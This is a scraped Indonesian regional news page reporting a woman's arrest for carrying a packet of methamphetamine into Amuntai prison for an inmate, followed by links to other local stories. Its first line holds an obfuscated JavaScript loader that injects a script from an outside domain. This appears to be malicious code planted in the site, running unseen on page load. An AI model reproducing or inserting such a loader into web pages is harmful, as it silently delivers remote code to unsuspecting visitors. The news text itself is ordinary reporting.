(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Mencoba ‘peruntungan’ jadi kurir benda haram, itulah yang dilakoni Rusmini alias Irus (32) warga Desa Batu Merah, Kecamatan Lampihong, Kabupaten Balangan ini. Bermodal nekat mengantarkan paket sabu ke dalam Lapas Amuntai, eh malah berujung ditangkap polisi.
Ya, emak-emak aliaa ibu rumah tangga ini ditangkap petugas Lembaga Pemasyarakatan (Lapas) Kelas IIB Amuntai, lantaran nekat membawa 1 paket sabu dengan berat bersih 1,31 gram untuk temannya Haiman alias Man (33) yang sedang menanti vonis di Lapas Amuntai.
Man sendiri diketahui merupakan warga Desa Mangkupum RT 01 Kecamatan Muara Uya, Kabupaten Tabalong, tahanan titipan dari Polres Balangan yang masih menunggu masa vonis di Pengadilan Negeri Amuntai terkait kasus serupa. Kasat Narkoba Polres HSU Iptu Taufik Suhardiman, kepada Kanalkalimantan.com, Selasa (24/12) mengatakan, saat itu pemeriksaan Irus langsung ditangani oleh Sat Resnarkoba. Sedangkan barang haram tersebut dipesan langsung oleh Man.
Dari Informasi, berawal ketika tersangka Irus dijanjikan upah sebesar Rp 300 ribu mengantar per paket. Irus datang ke Lapas Amuntai dengan niat membesuk Man. Sesampainya di penjagaan Irus diperiksa oleh petugas wanita dan dilakukan penggeledahan. Alhasil, petugas mendapati 1 paket sabu yang terbungkus dalam plastik hitam yang disimpan dalam pakaian dalam wanita (BH) di sebelah kiri.
Usut-punya usut, tersangka Irus mengaku barang tersebut milik temannya Man. Ia hanya diminta untuk mengantarkan barang tersebut ke dalam Lapas Amuntai. Petugas pun mememanggil Man yang menghuni kamar 02 dan ia mengakui dirinya yang meminta Irus untuk mengantarkan paket narkotika jenis sabu tersebut.
“Ini hasil kerjasama Lapas dan Sat Resnarkoba memerangi peredaran gelap narkoba,” ujarnya. Anggota sat Narkoba kemudian menggelandang keduanya ke Mapolres HSU guna diproses lebih lanjut .
“Semoga ini jadi contoh bagi pemakai, pengedar yang masih belum beraksi,” ucap Taufik.
Sementara itu, kedua tersangka bersama dengan barang bukti lainnya seperti 1 buah Hp dan 1 buah kendaraan bermotor roda dua dibawa ke kantor polisi. Keduanya terancam kasus UU RI No. 35 tahun 2009 tentang narkotika. (dew)
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.